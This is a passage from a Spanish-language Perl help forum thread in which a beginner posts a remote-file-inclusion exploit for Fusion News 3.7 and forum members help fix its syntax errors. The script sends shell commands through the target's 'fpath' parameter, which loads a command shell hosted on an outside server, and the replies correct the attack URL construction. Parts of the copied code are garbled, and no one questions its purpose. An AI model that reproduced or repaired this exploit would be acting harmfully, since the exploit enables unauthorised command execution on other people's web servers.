Perl en Español

  1. Home
  2. Tutoriales
  3. Foro
  4. Artículos
  5. Donativos
  6. Publicidad
 

Ayuda con un script
Ir a página 1, 2  Siguiente
 
Publicar nuevo tema   Responder al tema    Foros de discusión -> Básico
Mensaje Jue Jul 31, 2008 2:43 pm
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Ayuda con un script Responder citando

Saludos. Es la primera vez que intento programar en Perl. He programado en muchos idiomas, pero no en Perl. Pongo aquí mi script a ver si me lo solucionáis o me ayudáis a solucionarlo. Muchas gracias a todos.

Perl:
#!/usr/bin/perl

        ###########################################################################################
        #                     Aria-Security.net Advisory                                       #                  
        #                     Discovered  by: OUTLAW                                                   #                                                          
        #                     < www.Aria-security.net >                                        #                         
        #              Gr33t to: A.u.r.a  &amp; HessamX &amp; Cl0wn &amp; DrtRp                            #                                                                                     
        #                Special Thanx To All Aria-Security Users                                       #                                            
        ###########################################################################################

use LWP::UserAgent;
print "\n === Fusion News v3.7 Remote File Inclusion\n";
print "\n === Discovered by OutLaw .\n";
print "\n  === www.Aria-Security.Net\n";

$bPath = $ARGV[0];
$cmdo = $ARGV[1];
$bcmd = $ARGV[2];

if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || !$bcmd){usage()}
while()
       print "[Shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?fpath=';.$cmdo.';?&amp;';.$bcmd.';=';.$cmd)or die "
\n Could not connect !\n"
;
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê;
if (!$cmd) {print "\nPlease type a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/)
       {print "\n Could Not Connect to cmd Host\n";exit}
elsif ($return =~/^<b>Fatal.error/) {print "\n Invalid Command\n"}
if($return =~ /(.*)/)
       $freturn = $1;
       $freturn=~ tr/[ê[\n]/;
       print "\r\n$freturn\n\r";
       last;
else {print "[Shell] \$";}}}last;
sub usage()
 {
print " Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\n";
print " Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\n";
 exit();
 }


Es un pelín larga, así que si me ayudan se lo agradeceré todo lo que pueda. Lo compilo con ActivePerl pero me da errores a montones. Cualquier duda pregúntenme.

Ultima edición por Ezequiel el Jue Jul 31, 2008 3:35 pm, editado 3 veces
Mensaje Jue Jul 31, 2008 2:50 pm
explorer
Moderador
Moderador
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
Responder citando

Bienvenido a los foros de Perl en Español, Ezequiel.

* Debes cambiar todos los '&quot;' por '"'
* Debes cambiar todos los '&gt;' por '>'
* Debes cambiar todos los '&lt;' por '<'
* etc., etc.

Has copiado mal el script, desde el origen.

Arréglalo y vuelve a editar el mensaje y seguimos viendo los fallos que dé.
Mensaje Jue Jul 31, 2008 3:29 pm
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Responder citando

Creo que ya está (He editado el mensaje). Creo que hay más carácteres que cambiar.
Mensaje Jue Jul 31, 2008 3:51 pm
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Responder citando

syntax error at exploit.pl line 22, near ")
print"
syntax error at exploit.pl line 29, near "'index.php?fpath=';"
Execution of exploit.pl aborted due to compilation errors.

Para arreglaros un poco la vida:

Línea 22:
Perl:
while()
       print "[Shell] \$"#<----------------
while(<STDIN>)

Línea 29:
Perl:
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?fpath=';.$cmdo.';?&amp;';.$bcmd.';=';.$cmd)or die " #<--------------------
\n Could not connect !\n"
;



[/syntax]
Mensaje Jue Jul 31, 2008 4:07 pm
explorer
Moderador
Moderador
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
Responder citando

Falta un '{' después de los while().

Lo de la línea 29 es algo más complicado. Yo creo que es

Perl:
$req = HTTP::Request->new(
        GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n";
Mensaje Jue Jul 31, 2008 4:37 pm
kidd
Creador de Perl en Español
Creador de Perl en Español
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
Responder citando

explorer escribió:
Yo creo que es

Perl:
$req = HTTP::Request->new(
        GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n";


Incluso me parece que también habría que quitar el "?&" o escapar el "?".
Mensaje Jue Jul 31, 2008 4:53 pm
explorer
Moderador
Moderador
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
Responder citando

El '?' separa el cgi del resto de parámetros. Y el '&' separa argumentos. Así que un '?&' indica que no hemos puesto un primer argumento y que empezamos con un separador.

Sobraría el '&', sin duda.
Mensaje Jue Jul 31, 2008 6:36 pm
kidd
Creador de Perl en Español
Creador de Perl en Español
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
Responder citando

De hecho como está ahorita, sobra el '?'. Pues hay un primero en "index.php?fpath=" y luego otro en '?&'.

Me parece que la url debería estar así:

Perl:
$bpath . 'index.php?fpath=' . $cmdo . '&' . $bcmd . '=' . $cmd
Mensaje Jue Jul 31, 2008 6:41 pm
explorer
Moderador
Moderador
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
Responder citando

Pues tienes razón. El que se ha colado soy yo.
Mensaje Vie Ago 01, 2008 5:18 am
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Responder citando

Vale, kidd tuvo razón. Supongo que { es como begin en otros idiomas. Y que lo de la línea 29 es un string. Pasando al grano, hay más errores, después de arreglar el de la 29.

Código:
Bareword found where operator expected at exploit.pl line 35, near "elsif ($rern =~/failed"
  (Might be a runaway multi-line // string starting on line 33)
        (Do you need to predeclare elsif?)
Precedence problem: open stream should be open(stream) at exploit.pl line 35.
Bareword found where operator expected at exploit.pl line 37, near "<b>Fatal"
  (Might be a runaway multi-line // string starting on line 35)
        (Missing operator before Fatal?)
Scalar found where operator expected at exploit.pl line 39, near ")
       $freturn"
        (Missing operator before $freturn?)
Bareword found where operator expected at exploit.pl line 47, near "//www"
        (Missing operator before www?)
String found where operator expected at exploit.pl line 47, at end of line
        (Missing semicolon on previous line?)
syntax error at exploit.pl line 35, near "elsif ($return =~/failed to "
syntax error at exploit.pl line 39, near ")
       $freturn "
syntax error at exploit.pl line 47, near "com http:"
  (Might be a runaway multi-line // string starting on line 40)
Can't find string terminator '"' anywhere before EOF at exploit.pl line 47.
Mensaje Vie Ago 01, 2008 5:38 am
explorer
Moderador
Moderador
Registrado: 24 Jul 2005
Mensajes: 4088
Ubicación: Valladolid, España
Responder citando

Creo que el problema está en la línea

Perl:
$return =~ tr/[\n]/[ê;


Esos caracteres utf8 del final, no están bien. Mira a ver de donde los has copiado.
Mensaje Vie Ago 01, 2008 7:09 am
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Responder citando

El script original es:

http://downloads.securityfocus.com/vulnerabilities/exploits/fusionnews-3.7-rfi.pl

Pero no se que ocurre ...
Mensaje Vie Ago 01, 2008 8:36 am
kidd
Creador de Perl en Español
Creador de Perl en Español
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
Responder citando

Parece que el código fuente del script ha sido pre-procesado.Descargué el script y muestra en esa línea:

Perl:
$freturn=~ tr/[ê[\n]/;


Igual tienes una línea similar más arriba en la línea 63:

Perl:
$return =~ tr/[\n]/[ê;


Habría que saber que carácter es el que están sustituyendo con el tr, o incluso pueden ser varios.
Mensaje Vie Ago 01, 2008 10:38 am
Ezequiel
Perlero Nuevo
Perlero Nuevo
Registrado: 31 Jul 2008
Mensajes: 8
Responder citando

¿E interpretando el script no puedes imaginar qué carácter debería ir ahí? Yo es que tengo poca experiencia.
Mensaje Vie Ago 01, 2008 11:13 am
kidd
Creador de Perl en Español
Creador de Perl en Español
Registrado: 15 Oct 2003
Mensajes: 1389
Ubicación: México
Responder citando

Umm... sería cuestión de ver la información que se está procesando para intentar adivinar que caracter es el que está sustituyendo.
Publicar nuevo tema   Responder al tema    Foros de discusión -> Básico Todas las horas son GMT - 6 Horas
Ir a página 1, 2  Siguiente
Página 1 de 2



Powered by phpBB © 2001, 2005 phpBB Group